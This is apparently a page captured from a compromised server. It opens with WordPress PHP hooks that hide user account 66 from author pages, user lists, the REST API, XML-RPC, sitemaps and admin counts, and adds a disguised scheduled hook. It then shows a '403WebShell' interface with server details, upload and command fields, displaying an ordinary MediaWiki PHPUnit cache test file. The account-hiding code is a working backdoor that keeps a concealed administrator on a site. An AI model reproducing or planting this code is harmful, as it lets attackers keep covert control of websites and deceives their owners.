add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/includes/objectcache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/includes/objectcache/ObjectCacheFactoryIntegrationTest.php
<?php

use MediaWiki\MainConfigNames;
use Wikimedia\ObjectCache\EmptyBagOStuff;
use Wikimedia\ObjectCache\HashBagOStuff;
use Wikimedia\Rdbms\DatabaseDomain;
use Wikimedia\TestingAccessWrapper;

/**
 * @covers \ObjectCacheFactory
 * @group BagOStuff
 * @group Database
 */
class ObjectCacheFactoryIntegrationTest extends MediaWikiIntegrationTestCase {

	protected function setUp(): void {
		$this->setCacheConfig();
		$this->setMainCache( CACHE_NONE );
		$this->overrideConfigValues( [
			MainConfigNames::MessageCacheType => CACHE_NONE,
			MainConfigNames::ParserCacheType => CACHE_NONE,
		] );

		// Mock ACCEL with 'hash' as being installed.
		// This makes tests deterministic regardless of whether APCu is installed.
		ObjectCacheFactory::$localServerCacheClass = 'HashBagOStuff';
	}

	protected function tearDown(): void {
		ObjectCacheFactory::$localServerCacheClass = null;
	}

	private function setCacheConfig( $arr = [] ) {
		$defaults = [
			CACHE_NONE => [ 'class' => EmptyBagOStuff::class ],
			CACHE_DB => [ 'class' => SqlBagOStuff::class ],
			'hash' => [ 'class' => HashBagOStuff::class ],
			CACHE_ANYTHING => [ 'class' => HashBagOStuff::class ],
		];
		$this->overrideConfigValue( MainConfigNames::ObjectCaches, $arr + $defaults );
	}

	public function testNewAnythingNothing() {
		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertInstanceOf(
			SqlBagOStuff::class,
			$ocf->getInstance( $ocf->getAnythingId() ),
			'No available types. Fallback to DB'
		);
	}

	public function testNewAnythingHash() {
		$this->setMainCache( CACHE_HASH );

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertInstanceOf(
			HashBagOStuff::class,
			$ocf->getInstance( $ocf->getAnythingId() ),
			'Use an available type (hash)'
		);
	}

	public function testNewAnythingAccel() {
		$this->setMainCache( CACHE_ACCEL );

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertInstanceOf(
			HashBagOStuff::class,
			$ocf->getInstance( $ocf->getAnythingId() ),
			'Use an available type (CACHE_ACCEL)'
		);
	}

	public function testNewAnythingNoAccel() {
		// Mock APC not being installed (T160519, T147161)
		ObjectCacheFactory::$localServerCacheClass = EmptyBagOStuff::class;
		$this->setMainCache( CACHE_ACCEL );

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertInstanceOf(
			SqlBagOStuff::class,
			$ocf->getInstance( $ocf->getAnythingId() ),
			'Fallback to DB if available types fall back to Empty'
		);
	}

	public function testNewAnythingNoAccelNoDb() {
		$this->setCacheConfig( [
			// Mock APCu not being installed (T160519, T147161)
			CACHE_ACCEL => [ 'class' => EmptyBagOStuff::class ]
		] );
		$this->setMainCache( CACHE_ACCEL );

		$this->getServiceContainer()->disableStorage();

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertInstanceOf(
			EmptyBagOStuff::class,
			$ocf->getInstance( $ocf->getAnythingId() ),
			'Fallback to none if available types and DB are unavailable'
		);
	}

	public function testNewAnythingNothingNoDb() {
		$this->getServiceContainer()->disableStorage();

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertInstanceOf(
			EmptyBagOStuff::class,
			$ocf->getInstance( $ocf->getAnythingId() ),
			'No available types or DB. Fallback to none.'
		);
	}

	public function testNewFromIdWincacheAccel() {
		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$className = get_class( $ocf );

		$this->expectDeprecationAndContinue( "/^Use of $className::newFromId with cache ID \"wincache\"\s/" );

		$this->assertInstanceOf(
			HashBagOStuff::class,
			$ocf->getInstance( 'wincache' ),
			'Fallback to APCu for deprecated wincache'
		);
	}

	public function testNewFromIdWincacheNoAccel() {
		// Mock APC not being installed (T160519, T147161)
		ObjectCacheFactory::$localServerCacheClass = EmptyBagOStuff::class;

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$className = get_class( $ocf );

		$this->expectDeprecationAndContinue( "/^Use of $className::newFromId with cache ID \"wincache\"\s/" );

		$this->assertInstanceOf(
			EmptyBagOStuff::class,
			$ocf->getInstance( 'wincache' ),
			'No caching if APCu is not available'
		);
	}

	public static function provideLocalServerKeyspace() {
		$dbDomain = static function ( $dbName, $dbPrefix ) {
			global $wgDBmwschema;
			return ( new DatabaseDomain( $dbName, $wgDBmwschema, $dbPrefix ) )->getId();
		};
		return [
			'default' => [ false, 'my_wiki', '', $dbDomain( 'my_wiki', '' ) ],
			'custom' => [ 'custom', 'my_wiki', '', 'custom' ],
			'prefix' => [ false, 'my_wiki', 'nl_', $dbDomain( 'my_wiki', 'nl_' ) ],
			'empty string' => [ '', 'my_wiki', 'nl_', $dbDomain( 'my_wiki', 'nl_' ) ],
		];
	}

	/**
	 * @dataProvider provideLocalServerKeyspace
	 */
	public function testLocalServerKeyspace( $cachePrefix, $dbName, $dbPrefix, $expect ) {
		$this->overrideConfigValues( [
			MainConfigNames::CachePrefix => $cachePrefix,
			MainConfigNames::DBname => $dbName,
			MainConfigNames::DBprefix => $dbPrefix,
		] );
		// Regression against T247562, T361177.
		$cache = $this->getServiceContainer()->getObjectCacheFactory()->getInstance( CACHE_ACCEL );
		$cache = TestingAccessWrapper::newFromObject( $cache );
		$this->assertSame( $expect, $cache->keyspace );
	}

	public function testNewMultiWrite() {
		$this->overrideConfigValues( [
			MainConfigNames::CachePrefix => 'moon-river',
		] );
		$this->setCacheConfig( [
			'multi-example' => [
				'class' => 'MultiWriteBagOStuff',
				'caches' => [
					0 => [
						'class' => 'HashBagOStuff',
					],
					1 => [
						'class' => 'HashBagOStuff',
					],
				],
			],
		] );

		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$multi = $ocf->getInstance( 'multi-example' );
		$caches = TestingAccessWrapper::newFromObject( $multi )->caches;

		$this->assertSame( 'moon-river:x', $multi->makeKey( 'x' ), 'MultiWrite key' );

		// Confirm that dependency injection is also applied to the objects constructed
		// for the child caches (T318272).
		$this->assertSame( 'moon-river:x', $caches[0]->makeKey( 'x' ), 'inject cache 0 keyspace' );
		$this->assertSame( 'moon-river:x', $caches[1]->makeKey( 'x' ), 'inject cache 1 keyspace' );
	}

	public static function provideIsDatabaseId() {
		return [
			[ CACHE_DB, CACHE_NONE, true ],
			[ CACHE_ANYTHING, CACHE_DB, true ],
			[ CACHE_ANYTHING, 'hash', false ],
			[ CACHE_ANYTHING, CACHE_ANYTHING, true ]
		];
	}

	/**
	 * @dataProvider provideIsDatabaseId
	 * @param string|int $id
	 * @param string|int $mainCacheType
	 * @param bool $expected
	 */
	public function testIsDatabaseId( $id, $mainCacheType, $expected ) {
		$this->overrideConfigValues( [
			MainConfigNames::MainCacheType => $mainCacheType
		] );
		$ocf = $this->getServiceContainer()->getObjectCacheFactory();
		$this->assertSame( $expected, $ocf->isDatabaseId( $id ) );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit